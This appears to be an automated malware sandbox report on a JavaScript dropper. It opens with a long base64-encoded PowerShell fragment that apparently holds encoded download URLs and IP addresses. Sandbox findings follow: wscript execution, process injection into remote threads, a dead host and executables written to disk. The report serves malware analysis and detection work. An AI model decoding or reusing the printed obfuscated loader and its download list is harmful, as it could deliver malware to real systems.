ABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBOAEEAQQB4AEEAQwA0AEEATwBRAEEANQBBAEMANABBAE0AUQBBADUAQQBEAFEAQQBMAGcAQQB4AEEARABnAEEATgBRAEEAPQAiADsAJABjAHIAYQBuAGkAbwBsAG8AZwBpAHMAdAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAawBBAE4AQQBBAHUAQQBEAEkAQQBNAHcAQQAxAEEAQwA0AEEATQBRAEEAMABBAEQAQQBBAEwAZwBBADUAQQBEAGsAQQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBRAEEAYQBRAEIAbQBBAEcAWQBBAFoAUQBCAHkAQQBHAFUAQQBiAGcAQgAwAEEARwBrAEEAWQBRAEIAaQBBAEcAawBBAGIAQQBCAHAAQQBIAFEAQQBlAFEAQQB1AEEASABRAEEAYgB3AEEAPQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEASABJAEEAWgBRAEIAawBBAEgAYwBBAFkAUQBCAHkAQQBHAFUAQQBjAHcAQgBWAEEASABJAEEAYgB3AEIAdABBAEcARQBBAGIAZwBCADAAQQBHAGsAQQBZAFEAQQB1AEEASABNAEEAZABRAEIAdwBBAEgAQQBBAGIAQQBCADUAQQBBAD0APQBSAFQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAWQBRAEIAcwBBAEcAdwBBAFoAUQBCADAAQQBDADQAQQBhAFEAQgB1AEEASABRAEEAWgBRAEIAeQBBAEcANABBAFkAUQBCADAAQQBHAGsAQQBiAHcAQgB1AEEARwBFAEEAYgBBAEEAPQAiADsAYgByAGUAYQBrADsAfQB9ACAAYwBhAHQAYwBoACAAewAkAEIAcgBlAHYAaQByAG8AcwB0AHIAaQBuAGUAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEgAawBBAFkAUQBCADAAQQBHAGcAQQBhAFEAQQB1AEEASABNAEEAYQBBAEIAdgBBAEgAQQBBAHEAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABRAEEATQB3AEEAdQBBAEQAWQBBAE0AQQBBAHUAQQBEAFEAQQBOAEEAQQB1AEEARABFAEEATgBBAEEANABBAEEAPQA9ACIAOwAkAE8AdQB0AGYAaQBnAGgAdABpAG4AZwBDAGEAcgByAHkAYwBvAHQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFAGcAQQBiAHcAQgB6AEEASABRAEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAHUAQQBHADAAQQBhAFEAQgBoAEEARwAwAEEAYQBRAEEAPQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQAYwBBAE4AdwBBAHUAQQBEAEUAQQBOAEEAQQB6AEEAQwA0AEEATQBnAEEAMQBBAEQATQBBAEwAZwBBADMAQQBEAEUAQQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEANQBBAEQAVQBBAEwAZwBBAHkAQQBEAEUAQQBPAFEAQQB1AEEARABJAEEATgBRAEEAMQBBAEMANABBAE4AdwBBAHoAQQBBAD0APQBKAHQAbgBWAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AQQBBAHUAQQBEAEUAQQBNAEEAQQB6AEEAQwA0AEEATQBRAEEANABBAEQAYwBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQA9ACIAOwAkAEYAbABhAHYAZQBkAG8AQQBsAGMAbwBoAG8AbABvAG0AZQB0AHIAaQBjAGEAbAAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AZwBBAHoAQQBDADQAQQBPAEEAQQB5AEEAQwA0AEEATgB3AEEAMgBBAEMANABBAE0AUQBBAHgAQQBEAEkAQQBkAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMABBAEcAZwBBAGMAZwBCAGwAQQBHAEUAQQBkAGcAQgBsAEEAQwA0AEEAWgBRAEIANABBAEgAQQBBAGIAdwBCAHoAQQBHAFUAQQBaAEEAQQA9AGQAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARgBRAEEAZABRAEIAegBBAEgATQBBAFoAUQBCAHkAQQBIAE0AQQBRAHcAQgBvAEEARwBrAEEAWQBRAEIAeQBBAEcAOABBAGMAdwBCAGoAQQBIAFUAQQBjAGcAQgBwAEEASABNAEEAZABBAEEAdQBBAEgAUQBBAGIAdwBCAHcAQQBBAD0APQAiADsAfQB9ACQAUgB1AGMAawB1AHMAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGsAQQBiAFEAQgB0AEEARwBFAEEAZABBAEIAbABBAEgASQBBAGEAUQBCAGgAQQBHAHcAQQBiAEEAQgA1AEEAQwA0AEEAYQBnAEIAdwBBAEEAPQA9AHEAbgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCAE0AQQBHAFUAQQBkAGcAQgBoAEEARwA0AEEAZABBAEIAbABBAEgASQBBAFkAUQBBAHUAQQBHADQAQQBjAGcAQgAzAEEAQQA9AD0AIgA7ACQAZQBuAGMAYQB1AHMAdABlAHMAVABlAGwAbwBkAGUAbgBkAHIAbwBuACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABrAEEATgBBAEEAdQBBAEQASQBBAE0AUQBBADEAQQBDADQAQQBNAFEAQQAyAEEARABNAEEATABnAEEAeABBAEQAZwBBAE4AdwBBAD0AaABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAFUAQQBNAEEAQQB1AEEARABJAEEATgBBAEEANABBAEMANABBAE0AUQBBAHkAQQBEAFkAQQBMAGcAQQB4AEEARABFAEEATQBRAEEAPQBoAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQARQBBAE4AdwBBAHoAQQBDADQAQQBNAFEAQQAzAEEARABFAEEATABnAEEAeABBAEQAawBBAE0AdwBBAHUAQQBEAEUAQQBPAEEAQQB6AEEAQQA9AD0AIgA7AA=="
parent_process	wscript.exe	martian_process	"C:\Windows\System32\wscript.exe" "C:\ProgramData\dummered.js" impresas santalic
parent_process	wscript.exe	martian_process	wscript "C:\ProgramData\dummered.js" impresas santalic

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2660 resumed a thread in remote process 2868
Process injection	Process 2868 resumed a thread in remote process 2984
NtResumeThread May 24, 2023, 4:57 p.m.	thread_handle: 0x000002f4 suspend_count: 1 process_identifier: 2868	1	0	0
NtResumeThread May 24, 2023, 4:57 p.m.	thread_handle: 0x00000300 suspend_count: 1 process_identifier: 2984	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

192.168.56.101:49176

The processes wscript.exe, powershell.exe wrote an executable file to disk which it then attempted to execute (21 events)

file	C:\Windows\SysWOW64\wscript.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

Bilification.js

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All